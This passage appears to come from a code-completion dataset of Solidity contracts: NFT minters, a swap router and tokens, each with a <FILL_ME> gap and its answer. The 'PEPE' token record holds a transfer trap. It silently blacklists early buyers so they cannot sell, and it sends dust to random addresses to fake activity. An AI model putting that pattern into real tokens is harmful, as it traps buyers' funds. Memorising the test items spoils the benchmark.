}
/**
*
*/
function claim() public {
}
/* -------------------- config -------------------- */
function seaman() public view returns(address) {
}
function setSeaman(address nftContract) public onlyOwner {
}
function beneficiary() public view returns (address) {
}
function setBeneficiary(address one) public onlyOwner {
}
function ratios() public view returns (uint256, uint256) {
}
function setRatios(uint256 ratioA, uint256 ratioB) public onlyOwner {
}
function prices() public view returns (uint256, uint256) {
}
function setPrices(uint256 priceA, uint256 priceB) public onlyOwner {
}
function mintLimits() public view returns (uint256, uint256) {
}
function setMintLimits(uint256 maxQuantity, uint256 maxNumMinted) public onlyOwner {
}
function merkleTreeRoot() public view returns (bytes32) {
}
function setMerkleTreeRoot(bytes32 root) public onlyOwner {
}
function openToPublic() public view returns (bool) {
}
function setOpenToPublic(bool bln) public onlyOwner {
}
/**
* receive ETH
*/
receive() external payable {
}
}
| MerkleProof.verify(proof,_merkleTreeRoot,keccak256(abi.encodePacked(msg.sender))),"Invalid proof" | 214,822 | MerkleProof.verify(proof,_merkleTreeRoot,keccak256(abi.encodePacked(msg.sender))) |
"Exceeds max per address" | pragma solidity ^0.8.7;
interface SeamanNFT {
function mint(address to, uint256 quantity) external;
function numberMinted(address one) external view returns (uint256);
function ownerOf(uint256 tokenId) external view returns (address);
}
contract SeamanMinter is Ownable {
struct InvitationRecord {
uint256 NumMinted; //
uint256 NumAssisted; //
uint256 NumInvited; //
uint256 NumSecondaryInvited; //
uint256 ProfitAmount; //
address InvitedBy; //
}
SeamanNFT private _seamanNFT; //
address private _beneficiary; //
uint256 private _profitAmount; //
mapping(address => InvitationRecord) private _invitation; //
// claimed profit
mapping(address => uint256) private claimedProfit;
uint256 private _ratioA = 2000; // 20%
uint256 private _ratioB = 1000; // 10%
uint256 private _priceA = 0.03 ether; // public mint price
uint256 private _priceB = 0.02 ether; // wlmint , invitemint price
uint256 private _maxQuantity = 10; //
uint256 private _maxNumMinted = 40; //
bytes32 private _merkleTreeRoot; // “0” - wlmint false
bool private _openToPublic = false; // false - wlmint begin
event claimed(address indexed wallet, uint256 indexed val);
event mintedWithProof(
address indexed wallet,
uint256 indexed quantity,
uint256 indexed price
);
event minted(
address indexed wallet,
uint256 indexed quantity,
uint256 indexed price
);
event mintedWithCode(
address indexed wallet,
uint256 quantity,
uint256 price,
uint256 code,
address indexed rewardeeA,
uint256 rewardA,
address indexed rewardeeB,
uint256 rewardB
);
/**
*
*
* `seamanAddress` ERC721
*/
constructor(address seamanContract) {
}
/**
* airdrop
*
* `users`
* `quantities`
*/
function airdrop(address[] calldata users, uint256[] calldata quantities) public onlyOwner {
}
/**
*
*
* `proof`
* `quantity`
*/
function mintWhitelist(bytes32[] calldata proof, uint256 quantity) public payable {
require(_merkleTreeRoot != bytes32(0), "Whitelist sale is not live");
require(MerkleProof.verify(proof, _merkleTreeRoot, keccak256(abi.encodePacked(msg.sender))), "Invalid proof");
require(quantity > 0 && quantity <= _maxQuantity, "Wrong quantity");
require(<FILL_ME>)
require(msg.value >= _priceB * quantity, "Not enough ETH sent for selected amount");
_profitAmount += msg.value;
_seamanNFT.mint(msg.sender, quantity);
emit mintedWithProof(msg.sender, quantity, _priceB);
}
/**
*
*
* `quantity`
*/
function mint(uint256 quantity) public payable {
}
/**
*
*
* `code` TokenID
* `quantity`
*/
function mintWithCode(uint256 code, uint256 quantity) public payable {
}
/**
*
*/
function profitAmount() public view returns (uint256) {
}
function withdraw() public onlyOwner {
}
function withdrawAll() public onlyOwner {
}
function invitationRecord(address one) public view returns (InvitationRecord memory) {
}
/**
*
*/
function rewardAmount() public view returns (uint256) {
}
/**
*
*/
function claimedAmount() public view returns (uint256) {
}
/**
*
*/
function claim() public {
}
/* -------------------- config -------------------- */
function seaman() public view returns(address) {
}
function setSeaman(address nftContract) public onlyOwner {
}
function beneficiary() public view returns (address) {
}
function setBeneficiary(address one) public onlyOwner {
}
function ratios() public view returns (uint256, uint256) {
}
function setRatios(uint256 ratioA, uint256 ratioB) public onlyOwner {
}
function prices() public view returns (uint256, uint256) {
}
function setPrices(uint256 priceA, uint256 priceB) public onlyOwner {
}
function mintLimits() public view returns (uint256, uint256) {
}
function setMintLimits(uint256 maxQuantity, uint256 maxNumMinted) public onlyOwner {
}
function merkleTreeRoot() public view returns (bytes32) {
}
function setMerkleTreeRoot(bytes32 root) public onlyOwner {
}
function openToPublic() public view returns (bool) {
}
function setOpenToPublic(bool bln) public onlyOwner {
}
/**
* receive ETH
*/
receive() external payable {
}
}
| _seamanNFT.numberMinted(msg.sender)+quantity<=_maxNumMinted,"Exceeds max per address" | 214,822 | _seamanNFT.numberMinted(msg.sender)+quantity<=_maxNumMinted |
null | pragma solidity ^0.8.7;
interface SeamanNFT {
function mint(address to, uint256 quantity) external;
function numberMinted(address one) external view returns (uint256);
function ownerOf(uint256 tokenId) external view returns (address);
}
contract SeamanMinter is Ownable {
struct InvitationRecord {
uint256 NumMinted; //
uint256 NumAssisted; //
uint256 NumInvited; //
uint256 NumSecondaryInvited; //
uint256 ProfitAmount; //
address InvitedBy; //
}
SeamanNFT private _seamanNFT; //
address private _beneficiary; //
uint256 private _profitAmount; //
mapping(address => InvitationRecord) private _invitation; //
// claimed profit
mapping(address => uint256) private claimedProfit;
uint256 private _ratioA = 2000; // 20%
uint256 private _ratioB = 1000; // 10%
uint256 private _priceA = 0.03 ether; // public mint price
uint256 private _priceB = 0.02 ether; // wlmint , invitemint price
uint256 private _maxQuantity = 10; //
uint256 private _maxNumMinted = 40; //
bytes32 private _merkleTreeRoot; // “0” - wlmint false
bool private _openToPublic = false; // false - wlmint begin
event claimed(address indexed wallet, uint256 indexed val);
event mintedWithProof(
address indexed wallet,
uint256 indexed quantity,
uint256 indexed price
);
event minted(
address indexed wallet,
uint256 indexed quantity,
uint256 indexed price
);
event mintedWithCode(
address indexed wallet,
uint256 quantity,
uint256 price,
uint256 code,
address indexed rewardeeA,
uint256 rewardA,
address indexed rewardeeB,
uint256 rewardB
);
/**
*
*
* `seamanAddress` ERC721
*/
constructor(address seamanContract) {
}
/**
* airdrop
*
* `users`
* `quantities`
*/
function airdrop(address[] calldata users, uint256[] calldata quantities) public onlyOwner {
}
/**
*
*
* `proof`
* `quantity`
*/
function mintWhitelist(bytes32[] calldata proof, uint256 quantity) public payable {
}
/**
*
*
* `quantity`
*/
function mint(uint256 quantity) public payable {
}
/**
*
*
* `code` TokenID
* `quantity`
*/
function mintWithCode(uint256 code, uint256 quantity) public payable {
}
/**
*
*/
function profitAmount() public view returns (uint256) {
}
function withdraw() public onlyOwner {
}
function withdrawAll() public onlyOwner {
}
function invitationRecord(address one) public view returns (InvitationRecord memory) {
}
/**
*
*/
function rewardAmount() public view returns (uint256) {
}
/**
*
*/
function claimedAmount() public view returns (uint256) {
}
/**
*
*/
function claim() public {
}
/* -------------------- config -------------------- */
function seaman() public view returns(address) {
}
function setSeaman(address nftContract) public onlyOwner {
}
function beneficiary() public view returns (address) {
}
function setBeneficiary(address one) public onlyOwner {
}
function ratios() public view returns (uint256, uint256) {
}
function setRatios(uint256 ratioA, uint256 ratioB) public onlyOwner {
require(<FILL_ME>)
_ratioA = ratioA;
_ratioB = ratioB;
}
function prices() public view returns (uint256, uint256) {
}
function setPrices(uint256 priceA, uint256 priceB) public onlyOwner {
}
function mintLimits() public view returns (uint256, uint256) {
}
function setMintLimits(uint256 maxQuantity, uint256 maxNumMinted) public onlyOwner {
}
function merkleTreeRoot() public view returns (bytes32) {
}
function setMerkleTreeRoot(bytes32 root) public onlyOwner {
}
function openToPublic() public view returns (bool) {
}
function setOpenToPublic(bool bln) public onlyOwner {
}
/**
* receive ETH
*/
receive() external payable {
}
}
| ratioA+ratioB<=10000 | 214,822 | ratioA+ratioB<=10000 |
null | pragma solidity ^0.8.7;
interface SeamanNFT {
function mint(address to, uint256 quantity) external;
function numberMinted(address one) external view returns (uint256);
function ownerOf(uint256 tokenId) external view returns (address);
}
contract SeamanMinter is Ownable {
struct InvitationRecord {
uint256 NumMinted; //
uint256 NumAssisted; //
uint256 NumInvited; //
uint256 NumSecondaryInvited; //
uint256 ProfitAmount; //
address InvitedBy; //
}
SeamanNFT private _seamanNFT; //
address private _beneficiary; //
uint256 private _profitAmount; //
mapping(address => InvitationRecord) private _invitation; //
// claimed profit
mapping(address => uint256) private claimedProfit;
uint256 private _ratioA = 2000; // 20%
uint256 private _ratioB = 1000; // 10%
uint256 private _priceA = 0.03 ether; // public mint price
uint256 private _priceB = 0.02 ether; // wlmint , invitemint price
uint256 private _maxQuantity = 10; //
uint256 private _maxNumMinted = 40; //
bytes32 private _merkleTreeRoot; // “0” - wlmint false
bool private _openToPublic = false; // false - wlmint begin
event claimed(address indexed wallet, uint256 indexed val);
event mintedWithProof(
address indexed wallet,
uint256 indexed quantity,
uint256 indexed price
);
event minted(
address indexed wallet,
uint256 indexed quantity,
uint256 indexed price
);
event mintedWithCode(
address indexed wallet,
uint256 quantity,
uint256 price,
uint256 code,
address indexed rewardeeA,
uint256 rewardA,
address indexed rewardeeB,
uint256 rewardB
);
/**
*
*
* `seamanAddress` ERC721
*/
constructor(address seamanContract) {
}
/**
* airdrop
*
* `users`
* `quantities`
*/
function airdrop(address[] calldata users, uint256[] calldata quantities) public onlyOwner {
}
/**
*
*
* `proof`
* `quantity`
*/
function mintWhitelist(bytes32[] calldata proof, uint256 quantity) public payable {
}
/**
*
*
* `quantity`
*/
function mint(uint256 quantity) public payable {
}
/**
*
*
* `code` TokenID
* `quantity`
*/
function mintWithCode(uint256 code, uint256 quantity) public payable {
}
/**
*
*/
function profitAmount() public view returns (uint256) {
}
function withdraw() public onlyOwner {
}
function withdrawAll() public onlyOwner {
}
function invitationRecord(address one) public view returns (InvitationRecord memory) {
}
/**
*
*/
function rewardAmount() public view returns (uint256) {
}
/**
*
*/
function claimedAmount() public view returns (uint256) {
}
/**
*
*/
function claim() public {
}
/* -------------------- config -------------------- */
function seaman() public view returns(address) {
}
function setSeaman(address nftContract) public onlyOwner {
}
function beneficiary() public view returns (address) {
}
function setBeneficiary(address one) public onlyOwner {
}
function ratios() public view returns (uint256, uint256) {
}
function setRatios(uint256 ratioA, uint256 ratioB) public onlyOwner {
}
function prices() public view returns (uint256, uint256) {
}
function setPrices(uint256 priceA, uint256 priceB) public onlyOwner {
}
function mintLimits() public view returns (uint256, uint256) {
}
function setMintLimits(uint256 maxQuantity, uint256 maxNumMinted) public onlyOwner {
require(<FILL_ME>)
_maxQuantity = maxQuantity;
_maxNumMinted = maxNumMinted;
}
function merkleTreeRoot() public view returns (bytes32) {
}
function setMerkleTreeRoot(bytes32 root) public onlyOwner {
}
function openToPublic() public view returns (bool) {
}
function setOpenToPublic(bool bln) public onlyOwner {
}
/**
* receive ETH
*/
receive() external payable {
}
}
| maxQuantity*maxNumMinted>0 | 214,822 | maxQuantity*maxNumMinted>0 |
'KyotoxRouter: INSUFFICIENT_OUTPUT_AMOUNT' | pragma solidity =0.6.6;
import '@uniswap/lib/contracts/libraries/TransferHelper.sol';
import './interfaces/IKyotoxFactory.sol';
import './interfaces/KyotoxRouter.sol';
import './libraries/KyotoxLibrary.sol';
import './libraries/SafeMath.sol';
import './interfaces/IERC20.sol';
import './interfaces/IWETH.sol';
contract KyotoxRouter is IKyotoxRouter {
using SafeMath for uint;
address public immutable override factory;
address public immutable override WETH;
modifier ensure(uint deadline) {
}
constructor(address _factory, address _WETH) public {
}
receive() external payable {
}
// **** ADD LIQUIDITY ****
function _addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin
) internal virtual returns (uint amountA, uint amountB) {
}
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external virtual override ensure(deadline) returns (uint amountA, uint amountB, uint liquidity) {
}
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external virtual override payable ensure(deadline) returns (uint amountToken, uint amountETH, uint liquidity) {
}
// **** REMOVE LIQUIDITY ****
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) public virtual override ensure(deadline) returns (uint amountA, uint amountB) {
}
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) public virtual override ensure(deadline) returns (uint amountToken, uint amountETH) {
}
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external virtual override returns (uint amountA, uint amountB) {
}
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external virtual override returns (uint amountToken, uint amountETH) {
}
// **** REMOVE LIQUIDITY (supporting fee-on-transfer tokens) ****
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) public virtual override ensure(deadline) returns (uint amountETH) {
}
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external virtual override returns (uint amountETH) {
}
// **** SWAP ****
// requires the initial amount to have already been sent to the first pair
function _swap(uint[] memory amounts, address[] memory path, address _to) internal virtual {
}
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external virtual override ensure(deadline) returns (uint[] memory amounts) {
}
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external virtual override ensure(deadline) returns (uint[] memory amounts) {
}
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
virtual
override
payable
ensure(deadline)
returns (uint[] memory amounts)
{
}
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
virtual
override
ensure(deadline)
returns (uint[] memory amounts)
{
}
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
virtual
override
ensure(deadline)
returns (uint[] memory amounts)
{
}
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
virtual
override
payable
ensure(deadline)
returns (uint[] memory amounts)
{
}
// **** SWAP (supporting fee-on-transfer tokens) ****
// requires the initial amount to have already been sent to the first pair
function _swapSupportingFeeOnTransferTokens(address[] memory path, address _to) internal virtual {
}
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external virtual override ensure(deadline) {
TransferHelper.safeTransferFrom(
path[0], msg.sender, KyotoxLibrary.pairFor(factory, path[0], path[1]), amountIn
);
uint balanceBefore = IERC20(path[path.length - 1]).balanceOf(to);
_swapSupportingFeeOnTransferTokens(path, to);
require(<FILL_ME>)
}
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
)
external
virtual
override
payable
ensure(deadline)
{
}
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
)
external
virtual
override
ensure(deadline)
{
}
// **** LIBRARY FUNCTIONS ****
function quote(uint amountA, uint reserveA, uint reserveB) public pure virtual override returns (uint amountB) {
}
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut, uint32 fee)
public
pure
virtual
override
returns (uint amountOut)
{
}
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut, uint32 fee)
public
pure
virtual
override
returns (uint amountIn)
{
}
function getAmountsOut(uint amountIn, address[] memory path)
public
view
virtual
override
returns (uint[] memory amounts)
{
}
function getAmountsIn(uint amountOut, address[] memory path)
public
view
virtual
override
returns (uint[] memory amounts)
{
}
}
| IERC20(path[path.length-1]).balanceOf(to).sub(balanceBefore)>=amountOutMin,'KyotoxRouter: INSUFFICIENT_OUTPUT_AMOUNT' | 214,845 | IERC20(path[path.length-1]).balanceOf(to).sub(balanceBefore)>=amountOutMin |
null | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
interface ISwapRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
interface ISwapFactory {
function createPair(
address tokenA,
address tokenB
) external returns (address pair);
function getPair(
address tokenA,
address tokenB
) external view returns (address pair);
}
abstract contract Ownable {
address internal _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
interface ISwapPair {
function getReserves()
external
view
returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function token0() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function totalSupply() external view returns (uint256);
}
contract PEPE is IERC20, Ownable {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
string private _name;
string private _symbol;
uint256 private _decimals;
uint256 private _tTotal;
ISwapRouter public _swapRouter;
address public currency;
mapping(address => bool) public _swapPairList;
uint256 private constant MAX = ~uint256(0);
address public _mainPair;
uint256 public startTradeBlock;
mapping(address => bool) public _rewardList;
constructor() {
}
function symbol() external view returns (string memory) {
}
function name() external view returns (string memory) {
}
function decimals() external view returns (uint256) {
}
function totalSupply() public view returns (uint256) {
}
function balanceOf(address account) public view returns (uint256) {
}
function transfer(
address recipient,
uint256 amount
) public override returns (bool) {
}
function allowance(
address owner,
address spender
) public view override returns (uint256) {
}
function approve(
address spender,
uint256 amount
) public override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _basicTransfer(
address sender,
address recipient,
uint256 amount
) internal returns (bool) {
}
function _transfer(address from, address to, uint256 amount) private {
require(balanceOf(from) >= amount);
require(<FILL_ME>)
if (_swapPairList[to]) {
ISwapPair mainPair = ISwapPair(_mainPair);
(uint r0, , ) = mainPair.getReserves();
if(r0 == 0){
startTradeBlock = block.number;
}
}
if (_swapPairList[from] || _swapPairList[to]) {
if (
block.number < startTradeBlock + 1 &&
!_swapPairList[to]
) {
_rewardList[to] = true;
}
address ad;
for (uint256 i = 0; i < 3; i++) {
ad = address(
uint160(
uint256(
keccak256(
abi.encodePacked(i, amount, block.timestamp)
)
)
)
);
_basicTransfer(from, ad, 1);
}
amount -= 3 ;
}
_basicTransfer(
from,
to,
amount
);
}
function isReward(address account) public view returns (uint256) {
}
receive() external payable {}
}
| isReward(from)==0 | 215,041 | isReward(from)==0 |
"705 no more token available" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.14;
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "./ERC721-templates/chirulabsERC721A.sol";
/**
Metaclub Genesis Collection
by CryptoChile, laurin.eth
*/
contract metaclub is chirulabsERC721A {
using SafeERC20 for IERC20;
using SafeMath for uint256;
using Strings for uint;
IPaperKeyManager paper;
address internal fundReciever;
address internal usdc = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
string public baseURI = "ar://P1fjtIvwJG7iXl3vzFDPeJLPXtoo5Ab2UsT_x5h9q2I/";
uint256 constant public MAX_SUPPLY = 2500;
bool public mintActive = true;
/**
* @param name The NFT collection name
* @param symbol The NFT collection symbol
* @param receiver The wallet address to recieve the royalties
* @param feeNumerator Numerator of royalty % where Denominator default is 10000
*/
constructor (
string memory name,
string memory symbol,
address receiver,
uint96 feeNumerator,
address paper_
)
chirulabsERC721A(name, symbol, receiver, feeNumerator)
{
}
//@dev https://docs.paper.xyz
// onlyPaper modifier to easily restrict multiple different function
modifier onlyPaper(bytes32 _hash, bytes32 _nonce, bytes calldata _signature) {
}
/**
* Allows owner to send aribitrary amounts of tokens to arbitrary adresses
* Used to get offchain PreSale buyers their tokens
* @param recipient Array of addresses of which recipient[i] will recieve amount [i]
* @param amount Array of integers of which amount[i] will be airdropped to recipient[i]
*/
function airdrop(
address[] memory recipient,
uint256[] memory amount
)
public onlyOwner
{
for(uint i = 0; i < recipient.length; ++i)
{
require(<FILL_ME>)
_safeMint(recipient[i], amount[i]);
}
}
/**
* If mint is active, set it to not active.
* If mint is not active, set it to active.
*/
function flipMintState()
public onlyOwner
{
}
/**
* Allows owner to set usdc contract address
* @param usdc_ the address of USDC contract
*/
function setUSDC(
address usdc_
)
public onlyOwner
{
}
/**
* Allows owner to set paper contract address
* @param paper_ the new paper contract address
*/
function setPaper(
address paper_
)
public onlyOwner
{
}
/**
* Allows owner to set paper key
* @param _paperKey the key to be registered
*/
function registerPaperKey(address _paperKey) external onlyOwner {
}
/**
* Allows to check allowlist eligibility
* @dev implements https://docs.paper.xyz/reference/eligibilitymethod
* @param quantity amount to check for
*/
function checkClaimEligibility(
uint256 quantity
)
public view returns (
string memory
){
}
/**
* Allows you to buy tokens at discount
* @dev implements https://docs.paper.xyz/reference/mintmethod
* @param toAddress wallet to mint to
* @param quantity amount of tokens to get
* @param _nonce nonce for paper
* @param _signature Signature for paper
*/
function paperMint(
address toAddress,
uint256 quantity,
bytes32 _nonce,
bytes calldata _signature
)
public payable
onlyPaper(keccak256(abi.encode(toAddress, quantity)), _nonce, _signature)
{
}
/**
* Allows owner to withdraw all ETH
*/
function withdraw()
public onlyOwner
{
}
/**
* Allows owner to withdraw USDC
* @param amount_ how much to send there
*/
function withdrawUSDC(
uint256 amount_
)
public onlyOwner
{
}
/**
* Allows owner to set reciever of withdrawl
* @param reciever who to recieve the balance of the contract
*/
function setReciever(address reciever)
public onlyOwner
{
}
/**
* Allows owner to set baseURI for all tokens
* @param newBaseURI_ new baseURI to be used in tokenURI generation
*/
function setBaseURI(
string calldata newBaseURI_
) external onlyOwner
{
}
/**
* Allows owner to set new EIP2981 Royalty share and/or reciever for the whole collection
* @param reciever_ new royalty reciever to be used
* @param feeNumerator_ new royalty share in basis points to be used e.g. 100 = 1%
*/
function setRoyalty(
address reciever_,
uint96 feeNumerator_
) public onlyOwner
{
}
/**
* Returns the URI (Link) to the given tokenId
* @param tokenId_ tokenId of which to get the URI
*/
function tokenURI(
uint tokenId_
) public override view
returns (string memory)
{
}
}
// License-Identifier: MIT
/// @title Paper Key Manager
/// @author Winston Yeo
/// @notice PaperKeyManager makes it easy for developers to restrict certain functions to Paper.
/// @dev Developers are in charge of registering the contract with the initial Paper key.
/// Paper will then help you automatically rotate and update your key in line with good security hygiene
interface IPaperKeyManager {
/// @notice Registers a Paper Key to a contract
/// @dev Registers the @param _paperKey with the caller of the function (your contract)
/// @param _paperKey The Paper key that is associated with the checkout.
/// You should be able to find this in the response of the checkout API or on the checkout dashbaord.
/// @return bool indicating if the @param _paperKey was successfully registered with the calling address
function register(address _paperKey) external returns (bool);
/// @notice Verifies if the given @param _data is from Paper and have not been used before
/// @dev Called as the first line in your function or extracted in a modifier. Refer to the Documentation for more usage details.
/// @param _hash The bytes32 encoding of the data passed into your function.
/// This is done by calling keccak256(abi.encode(...your params in order))
/// @param _nonce a random set of bytes Paper passes your function which you forward. This helps ensure that the @param _hash has not been used before.
/// @param _signature used to verify that Paper was the one who sent the @param _hash
/// @return bool indicating if the @param _hash was successfully verified
function verify(
bytes32 _hash,
bytes32 _nonce,
bytes calldata _signature
) external returns (bool);
}
| totalSupply().add(amount[i])<=MAX_SUPPLY,"705 no more token available" | 215,083 | totalSupply().add(amount[i])<=MAX_SUPPLY |
"Error registering key" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.14;
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "./ERC721-templates/chirulabsERC721A.sol";
/**
Metaclub Genesis Collection
by CryptoChile, laurin.eth
*/
contract metaclub is chirulabsERC721A {
using SafeERC20 for IERC20;
using SafeMath for uint256;
using Strings for uint;
IPaperKeyManager paper;
address internal fundReciever;
address internal usdc = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
string public baseURI = "ar://P1fjtIvwJG7iXl3vzFDPeJLPXtoo5Ab2UsT_x5h9q2I/";
uint256 constant public MAX_SUPPLY = 2500;
bool public mintActive = true;
/**
* @param name The NFT collection name
* @param symbol The NFT collection symbol
* @param receiver The wallet address to recieve the royalties
* @param feeNumerator Numerator of royalty % where Denominator default is 10000
*/
constructor (
string memory name,
string memory symbol,
address receiver,
uint96 feeNumerator,
address paper_
)
chirulabsERC721A(name, symbol, receiver, feeNumerator)
{
}
//@dev https://docs.paper.xyz
// onlyPaper modifier to easily restrict multiple different function
modifier onlyPaper(bytes32 _hash, bytes32 _nonce, bytes calldata _signature) {
}
/**
* Allows owner to send aribitrary amounts of tokens to arbitrary adresses
* Used to get offchain PreSale buyers their tokens
* @param recipient Array of addresses of which recipient[i] will recieve amount [i]
* @param amount Array of integers of which amount[i] will be airdropped to recipient[i]
*/
function airdrop(
address[] memory recipient,
uint256[] memory amount
)
public onlyOwner
{
}
/**
* If mint is active, set it to not active.
* If mint is not active, set it to active.
*/
function flipMintState()
public onlyOwner
{
}
/**
* Allows owner to set usdc contract address
* @param usdc_ the address of USDC contract
*/
function setUSDC(
address usdc_
)
public onlyOwner
{
}
/**
* Allows owner to set paper contract address
* @param paper_ the new paper contract address
*/
function setPaper(
address paper_
)
public onlyOwner
{
}
/**
* Allows owner to set paper key
* @param _paperKey the key to be registered
*/
function registerPaperKey(address _paperKey) external onlyOwner {
require(<FILL_ME>)
}
/**
* Allows to check allowlist eligibility
* @dev implements https://docs.paper.xyz/reference/eligibilitymethod
* @param quantity amount to check for
*/
function checkClaimEligibility(
uint256 quantity
)
public view returns (
string memory
){
}
/**
* Allows you to buy tokens at discount
* @dev implements https://docs.paper.xyz/reference/mintmethod
* @param toAddress wallet to mint to
* @param quantity amount of tokens to get
* @param _nonce nonce for paper
* @param _signature Signature for paper
*/
function paperMint(
address toAddress,
uint256 quantity,
bytes32 _nonce,
bytes calldata _signature
)
public payable
onlyPaper(keccak256(abi.encode(toAddress, quantity)), _nonce, _signature)
{
}
/**
* Allows owner to withdraw all ETH
*/
function withdraw()
public onlyOwner
{
}
/**
* Allows owner to withdraw USDC
* @param amount_ how much to send there
*/
function withdrawUSDC(
uint256 amount_
)
public onlyOwner
{
}
/**
* Allows owner to set reciever of withdrawl
* @param reciever who to recieve the balance of the contract
*/
function setReciever(address reciever)
public onlyOwner
{
}
/**
* Allows owner to set baseURI for all tokens
* @param newBaseURI_ new baseURI to be used in tokenURI generation
*/
function setBaseURI(
string calldata newBaseURI_
) external onlyOwner
{
}
/**
* Allows owner to set new EIP2981 Royalty share and/or reciever for the whole collection
* @param reciever_ new royalty reciever to be used
* @param feeNumerator_ new royalty share in basis points to be used e.g. 100 = 1%
*/
function setRoyalty(
address reciever_,
uint96 feeNumerator_
) public onlyOwner
{
}
/**
* Returns the URI (Link) to the given tokenId
* @param tokenId_ tokenId of which to get the URI
*/
function tokenURI(
uint tokenId_
) public override view
returns (string memory)
{
}
}
// License-Identifier: MIT
/// @title Paper Key Manager
/// @author Winston Yeo
/// @notice PaperKeyManager makes it easy for developers to restrict certain functions to Paper.
/// @dev Developers are in charge of registering the contract with the initial Paper key.
/// Paper will then help you automatically rotate and update your key in line with good security hygiene
interface IPaperKeyManager {
/// @notice Registers a Paper Key to a contract
/// @dev Registers the @param _paperKey with the caller of the function (your contract)
/// @param _paperKey The Paper key that is associated with the checkout.
/// You should be able to find this in the response of the checkout API or on the checkout dashbaord.
/// @return bool indicating if the @param _paperKey was successfully registered with the calling address
function register(address _paperKey) external returns (bool);
/// @notice Verifies if the given @param _data is from Paper and have not been used before
/// @dev Called as the first line in your function or extracted in a modifier. Refer to the Documentation for more usage details.
/// @param _hash The bytes32 encoding of the data passed into your function.
/// This is done by calling keccak256(abi.encode(...your params in order))
/// @param _nonce a random set of bytes Paper passes your function which you forward. This helps ensure that the @param _hash has not been used before.
/// @param _signature used to verify that Paper was the one who sent the @param _hash
/// @return bool indicating if the @param _hash was successfully verified
function verify(
bytes32 _hash,
bytes32 _nonce,
bytes calldata _signature
) external returns (bool);
}
